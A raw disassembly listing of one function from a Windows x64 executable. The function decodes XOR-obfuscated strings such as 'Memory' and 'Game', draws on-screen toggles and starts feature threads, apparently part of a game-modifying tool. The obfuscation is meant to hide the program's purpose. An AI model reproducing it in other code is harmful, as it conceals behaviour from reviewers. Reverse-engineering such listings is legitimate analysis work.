lea rcx, [rbp + 0xb58]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x6c0], 0x62616e47
mov dword [rbp + 0x6c4], 0x100767c
lea rcx, [rbp + 0x6c0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
movaps xmm0, xmm8
call fcn.140027e20
mov dword [rbp + 0xe28], 0x6e6d6748
mov dword [rbp + 0xe2c], 0x7e562265
mov word [rbp + 0xe30], 0x75
mov byte [rbp + 0xe32], 1
lea rcx, [rbp + 0xe28]
call fcn.140073be0
mov rcx, rax
lea rdx, [0x1401a7a63]
call fcn.14004ad70
test al, al
je 0x140071519
movzx eax, byte [0x1401a7a63]
test al, al
je 0x1400714a2
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xb68], 0x6e6d6748
mov dword [rbp + 0xb6c], 0x767f4965
mov word [rbp + 0xb70], 0x100
lea rcx, [rbp + 0xb68]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x6c8], 0x62616e47
mov dword [rbp + 0x6cc], 0x100767c
lea rcx, [rbp + 0x6c8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a63]
test al, al
jne 0x140071519
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xb78], 0x6e6d6748
mov dword [rbp + 0xb7c], 0x767f4965
mov word [rbp + 0xb80], 0x100
lea rcx, [rbp + 0xb78]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x6d0], 0x62616e47
mov dword [rbp + 0x6d4], 0x100767c
lea rcx, [rbp + 0x6d0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movdqa xmm0, xmmword [str.Fbkez_Wcwvz8Px]
movdqu xmmword [rbp + 0x17a0], xmm0
mov byte [rbp + 0x17b0], 1
lea rcx, [rbp + 0x17a0]
call fcn.140073c10
mov rcx, rax
lea rdx, [0x1401a7a64]
call fcn.14004ad70
test al, al
je 0x140071680
movzx eax, byte [0x1401a7a64]
test al, al
je 0x1400715f8
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x11c8], 0x656b6246
mov dword [rbp + 0x11cc], 0x7462487a
mov dword [rbp + 0x11d0], 0x7a527d77
mov word [rbp + 0x11d4], WSAStartup
mov byte [rbp + 0x11d6], 1
lea rcx, [rbp + 0x11c8]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x6d8], 0x62616e47
mov dword [rbp + 0x6dc], 0x100767c
lea rcx, [rbp + 0x6d8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a64]
test al, al
jne 0x140071680
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x11d8], 0x656b6246
mov dword [rbp + 0x11dc], 0x7462487a
mov dword [rbp + 0x11e0], 0x7a527d77
mov word [rbp + 0x11e4], WSAStartup
mov byte [rbp + 0x11e6], 1
lea rcx, [rbp + 0x11d8]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x6e0], 0x62616e47
mov dword [rbp + 0x6e4], 0x100767c
lea rcx, [rbp + 0x6e0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
movaps xmm0, xmm8
call fcn.140027e20
mov dword [rbp + 0xef8], 0x7d7e7e5a
mov dword [rbp + 0xefc], 0x573d6a62
mov dword [rbp + 0xf00], 0x100747d
lea rcx, [rbp + 0xef8]
call fcn.1400744e0
mov rcx, rax
lea rdx, [0x1401a7a65]
call fcn.14004ad70
test al, al
je 0x1400717e2
movzx eax, byte [0x1401a7a65]
test al, al
je 0x140071764
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xe38], 0x7d7e7e5a
mov dword [rbp + 0xe3c], 0x7e566a62
mov word [rbp + 0xe40], 0x75
mov byte [rbp + 0xe42], 1
lea rcx, [rbp + 0xe38]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x6e8], 0x62616e47
mov dword [rbp + 0x6ec], 0x100767c
lea rcx, [rbp + 0x6e8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a65]
test al, al
jne 0x1400717e2
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xe48], 0x7d7e7e5a
mov dword [rbp + 0xe4c], 0x7e566a62
mov word [rbp + 0xe50], 0x75
mov byte [rbp + 0xe52], 1
lea rcx, [rbp + 0xe48]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x6f0], 0x62616e47
mov dword [rbp + 0x6f4], 0x100767c
lea rcx, [rbp + 0x6f0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
cmp dword [0x1401a7a88], 3
jne 0x140071f31
mov dword [rbp + 0x1448], 0x43d10000
mov dword [rbp + 0x144c], 0x43c98000
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x1448]
lea rcx, [0x1400ec080]
call fcn.14000eda0
movdqa xmm0, xmmword [0x140116370]
movdqu xmmword [rbp + 0x1558], xmm0
movdqa xmm1, xmmword [0x140115f30]
movdqu xmmword [rbp + 0x1568], xmm1
movdqa xmm0, xmmword [str._n_v_f_r]
movdqu xmmword [rbp + 0x1578], xmm0
mov dword [rbp + 0x1588], 0x5153546e
mov dword [rbp + 0x158c], 0x240d1f4d
mov dword [rbp + 0x1590], 0x100362c
lea rcx, [rbp + 0x1558]
call fcn.140074180
mov rcx, rax
call fcn.140054480
call fcn.140050530
call fcn.1400514b0
mov dword [rbp + 0x8c8], 0x647c734f
mov dword [rbp + 0x8cc], 0x2a6a7c
mov byte [rbp + 0x8d0], 1
lea rcx, [rbp + 0x8c8]
call fcn.140073b80
mov rcx, rax
call fcn.14004a2e0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
lea rdx, [rbp + 0x1b60]
lea rcx, [0x1401a72ec]
call fcn.140061b30
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1400718e0
mov rax, qword [rax]
movaps xmm0, xmmword [0x140116420]
movups xmmword [rbp + 0x1aa0], xmm0
mov rdx, rax
lea rcx, [rbp + 0x1aa0]
call fcn.1400544b0
nop
lea rcx, [rbp + 0x1b60]
call fcn.140060910
mov dword [rbp + 0x8d8], 0x796d7f59
mov dword [rbp + 0x8dc], 0x2a7c7b
mov byte [rbp + 0x8e0], 1
lea rcx, [rbp + 0x8d8]
call fcn.140073b80
mov rcx, rax
call fcn.14004a2e0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
lea rdx, [0x1401a7420]
cmp qword [0x1401a7438], 0xf
cmova rdx, qword [0x1401a7420]
movaps xmm0, xmmword [0x140116420]
movups xmmword [rbp + 0x1ab0], xmm0
lea rcx, [rbp + 0x1ab0]
call fcn.1400544b0
call fcn.140050530
call fcn.1400514b0
mov dword [rbp + 0x1450], 0x43c80000
mov dword [rbp + 0x1454], 0x42200000
mov dword [rbp + 0x1038], 0x687a6a59
mov dword [rbp + 0x103c], 0x7f7f4c2e
mov dword [rbp + 0x1040], 0x737a74
mov byte [rbp + 0x1044], 1
lea rcx, [rbp + 0x1038]
call fcn.140074540
mov rcx, rax
lea rdx, [rbp + 0x1450]
call fcn.14004a510
test al, al
je 0x140071c71
lea rdi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rdi, qword [rbp + 0x1c00]
mov dword [rbp + 0xb88], 0x6179664f
mov dword [rbp + 0xb8c], 0x637f7b6f
mov word [rbp + 0xb90], 0x100
lea rcx, [rbp + 0xb88]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x478], 0x68616a4d
mov word [rbp + 0x47c], 0x100
lea rcx, [rbp + 0x478]
call fcn.140073af0
mov r9, rdi
mov r8d, dword [0x1401a7118]
mov rdx, rbx
mov rcx, rax
call fcn.140072690
lea rdi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rdi, qword [rbp + 0x1c00]
mov dword [rbp + 0x8e8], 0x7e7e6e5c
mov dword [rbp + 0x8ec], 0x7e6067
mov byte [rbp + 0x8f0], 1
lea rcx, [rbp + 0x8e8]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x480], 0x68616a4d
mov word [rbp + 0x484], 0x100
lea rcx, [rbp + 0x480]
call fcn.140073af0
mov r9, rdi
mov r8d, dword [0x1401a710c]
mov rdx, rbx
mov rcx, rax
call fcn.140072690
lea rdi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rdi, qword [rbp + 0x1c00]
mov dword [rbp + 0x488], 0x68686447
mov word [rbp + 0x48c], 0x100
lea rcx, [rbp + 0x488]
call fcn.140073af0
mov rbx, rax
mov dword [rbp + 0x490], 0x68616a4d
mov word [rbp + 0x494], 0x100
lea rcx, [rbp + 0x490]
call fcn.140073af0
mov r9, rdi
mov r8d, dword [0x1401a7110]
mov rdx, rbx
mov rcx, rax
call fcn.140072690
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, byte [0x1401a760b]
mov dword [rbp + 0xb98], 0x4e7f625c
mov dword [rbp + 0xb9c], 0x7a736a66
mov word [rbp + 0xba0], 0x100
lea rcx, [rbp + 0xb98]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x498], 0x68616a4d
mov word [rbp + 0x49c], 0x100
lea rcx, [rbp + 0x498]
call fcn.140073af0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, byte [0x1401a760a]
mov dword [rbp + 0xba8], 0x5d3f5b5e
mov dword [rbp + 0xbac], 0x79737b6f
mov word [rbp + 0xbb0], 0x100
lea rcx, [rbp + 0xba8]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x4a0], 0x68616a4d
mov word [rbp + 0x4a4], 0x100
lea rcx, [rbp + 0x4a0]
call fcn.140073af0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
mov dword [rbp + 0x11e8], 0x6b626449
mov dword [rbp + 0x11ec], 0x42306867
mov dword [rbp + 0x11f0], 0x71716573
mov word [rbp + 0x11f4], gethostname
mov byte [rbp + 0x11f6], 1
lea rcx, [rbp + 0x11e8]
call fcn.1400745a0
mov rdx, rax
lea rcx, [0x1401a7420]
call fcn.1400616f0
call fcn.1400514b0
call fcn.1400514b0
mov dword [rbp + 0x1458], 0x42ba0000
mov dword [rbp + 0x145c], 0x41f00000
mov dword [rbp + 0xe58], 0x6c696749
mov dword [rbp + 0xe5c], 0x5c442f60
mov word [rbp + 0xe60], 0x42
mov byte [rbp + 0xe62], 1
lea rcx, [rbp + 0xe58]
call fcn.140073be0
mov rcx, rax
lea rdx, [rbp + 0x1458]
call fcn.14004a510
test al, al
je 0x140071cf9
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140082090]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1418], 0x42ba0000
mov dword [rbp + 0x141c], 0x41f00000
mov dword [rbp + 0xee8], 0x6c696749
mov dword [rbp + 0xeec], 0x5e582f60
mov dword [rbp + 0xef0], 0x1004741
lea rcx, [rbp + 0xee8]
call fcn.1400744e0
mov rcx, rax
lea rdx, [rbp + 0x1418]
call fcn.14004a510
test al, al
je 0x140071d7c
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x14007da30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1410], 0x42ba0000
mov dword [rbp + 0x1414], 0x41f00000
mov dword [rbp + 0x11f8], 0x647a6e4e
mov dword [rbp + 0x11fc], 0x58306a6d
mov dword [rbp + 0x1200], 0x5c523356
mov word [rbp + 0x1204], Ordinal_79
mov byte [rbp + 0x1206], 1
lea rcx, [rbp + 0x11f8]
call fcn.1400745a0
mov rcx, rax
lea rdx, [rbp + 0x1410]
call fcn.14004a510
test al, al
je 0x140071e0f
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140077680]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1401a7a6c], 0
je 0x140071f2c
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1408], 0x42ba0000
mov dword [rbp + 0x140c], 0x41f00000
mov dword [rbp + 0xe68], 0x786e6e4e
mov dword [rbp + 0xe6c], 0x41442f69
mov word [rbp + 0xe70], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xe72], 1
lea rcx, [rbp + 0xe68]
call fcn.140073be0
mov rcx, rax
lea rdx, [rbp + 0x1408]
call fcn.14004a510
test al, al
je 0x140071ea5
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140082bd0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1401a7a6c], 0
je 0x140071f2c
mov dword [rbp + 0x13f8], 0x42ba0000
mov dword [rbp + 0x13fc], 0x41f00000
mov dword [rbp + 0xe78], 0x786e6e4e
mov dword [rbp + 0xe7c], 0x7e5c2f69
mov word [rbp + 0xe80], 0x75
mov byte [rbp + 0xe82], 1
lea rcx, [rbp + 0xe78]
call fcn.140073be0
mov rcx, rax
lea rdx, [rbp + 0x13f8]
call fcn.14004a510
test al, al
je 0x140071f2c
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140073750]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140019ce0
call fcn.140019ce0
mov r15, qword [0x1401a77f0]
mov r12, qword [0x1401a77f8]
cmp r15, r12
je 0x140072219
xor esi, esi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c40], xmm0
mov qword [rbp + 0x1c50], rsi
mov qword [rbp + 0x1c58], rsi
mov rdi, qword [r15 + 0x10]
mov rsi, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140071f79
mov rsi, qword [r15]
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x1400724e9
cmp rdi, 0xf
ja 0x140071fb5
mov qword [rbp + 0x1c50], rdi
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x1c58], r14
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x1c40], xmm0
jmp 0x140072068
mov qword [rbp + 0x1c58], reloc.WS2_32.dll_ntohs
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x140071fdf
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140072006
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140072028
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400724f5
mov rcx, rax
call fcn.1400e4770
mov rcx, rax
test rax, rax
je 0x1400723eb
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140072036
test rcx, rcx
je 0x140072034
call fcn.1400e4770
jmp 0x140072036
xor eax, eax
mov qword [rbp + 0x1c40], rax
mov qword [rbp + 0x1c50], rdi
mov qword [rbp + 0x1c58], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [rbp + 0x1c58]
mov rdi, qword [rbp + 0x1c50]
mov dword [rbp + 0x68], 0x61607e61
mov dword [rbp + 0x6c], 0x7279616f
mov word [rbp + 0x70], 0x7b
mov byte [rbp + 0x72], 1
xor esi, esi
mov ecx, esi
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x68], al
inc rcx
cmp rcx, 9
jb 0x140072090
mov byte [rbp + 0x72], sil
lea rcx, [rbp + 0x68]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], sil
jne 0x1400720b0
lea rcx, [rbp + 0x1c40]
mov rbx, qword [rbp + 0x1c40]
cmp r14, 0xf
cmova rcx, rbx
cmp rdi, rax
jne 0x140072111
mov r8, rdi
lea rdx, [rbp + 0x68]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140072111
mov rcx, qword [0x1401a7140]
call fcn.140001860
mov rcx, qword [0x1401a7140]
call fcn.1400018b0
mov r14, qword [rbp + 0x1c58]
mov rdi, qword [rbp + 0x1c50]
mov rbx, qword [rbp + 0x1c40]
mov dword [rbp + 0x78], 0x61607e6c
mov dword [rbp + 0x7c], 0x787d6b6f
mov word [rbp + 0x80], 0x7c
mov byte [rbp + 0x82], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x78], al
inc rcx
cmp rcx, 9
jb 0x140072140
mov byte [rbp + 0x82], sil
lea rcx, [rbp + 0x78]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x140072162
lea rcx, [rbp + 0x1c40]
cmp r14, 0xf
cmova rcx, rbx
cmp rdi, rax
jne 0x1400721bc
mov r8, rdi
lea rdx, [rbp + 0x78]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400721bc
mov byte [0x1401a7a6c], 1
mov rcx, qword [0x1401a7140]
call fcn.140001860
mov rcx, qword [0x1401a7140]
call fcn.140001a20
mov r14, qword [rbp + 0x1c58]
mov rbx, qword [rbp + 0x1c40]
cmp r14, 0xf
jbe 0x1400721f3
lea rdx, [r14 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400721eb
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400723eb
mov rcx, rbx
call fcn.1400e47ac
mov qword [rbp + 0x1c50], rsi
mov qword [rbp + 0x1c58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c40], 0
add r15, 0x20
cmp r15, r12
jne 0x140071f50
movzx eax, byte [0x1401a7a76]
xor r15d, r15d
movabs r12, 0x7fffffffffffffff
cmp al, 1
jne 0x140072236
call fcn.140064ab0
call fcn.1400199e0
nop
mov rdx, qword [rbp + 0x1c78]
cmp rdx, 0xf
jbe 0x14007227d
inc rdx
mov rcx, qword [rbp + 0x1c60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072278
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400723f2
call fcn.1400e47ac
mov qword [rbp + 0x1c70], r15
mov qword [rbp + 0x1c78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c60], 0
mov rdx, qword [rbp + 0x1c18]
cmp rdx, 0xf
jbe 0x1400722d7
inc rdx
mov rcx, qword [rbp + 0x1c00]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400722d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400723f9
call fcn.1400e47ac
mov qword [rbp + 0x1c10], r15
mov qword [rbp + 0x1c18], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c00], 0
call fcn.140019ef0
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
mov dword [rsp + 0x30], r15d
movss dword [rsp + 0x28], xmm9
mov dword [rsp + 0x20], r15d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140072357
call fcn.140024b20
call fcn.14001c0b0
mov rcx, rax
call fcn.14003fa20
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [r13], 0x400
je 0x14007236f
call fcn.14002aac0
xor edx, edx
xor ecx, ecx
call fcn.140025740
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
mov r10, qword [rax + 0x88]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call r10
cmp eax, 0x88760868
jne 0x1400723cc
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x1400723cc
call fcn.14003f860
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
lea rdx, [0x1401a7290]
call qword [rax + 0x80]
call fcn.14003f420
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140072400
cmp dword [rbp + 0x1c88], 0x12
jne 0x14006a590
jmp 0x14007240a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rbp + 0x1c88], reloc.WS2_32.dll_select
call fcn.140040670
call fcn.1400416b0
xor ecx, ecx
call fcn.140011e00
mov rcx, qword [0x1401a7280]
test rcx, rcx
je 0x140072434
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401a7280], r15
mov rcx, qword [0x1401a72d0]
test rcx, rcx
je 0x14007244d
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401a72d0], r15
mov rdx, qword [rbp + 0x1bc8]
mov rcx, qword [rbp + 0x1bf0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x140072481
call fcn.140062e20
mov rdx, qword [rbp + 0x1bc8]
mov rcx, qword [rbp + 0x1bf0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, 1
mov rcx, qword [rbp + 0x1ec0]
xor rcx, rsp
call fcn.1400e4750
lea r11, [rsp + 0x2070]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400736b0
nop
call fcn.1400736b0
int3
call fcn.140073500
int3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
jmp 0x140068fb0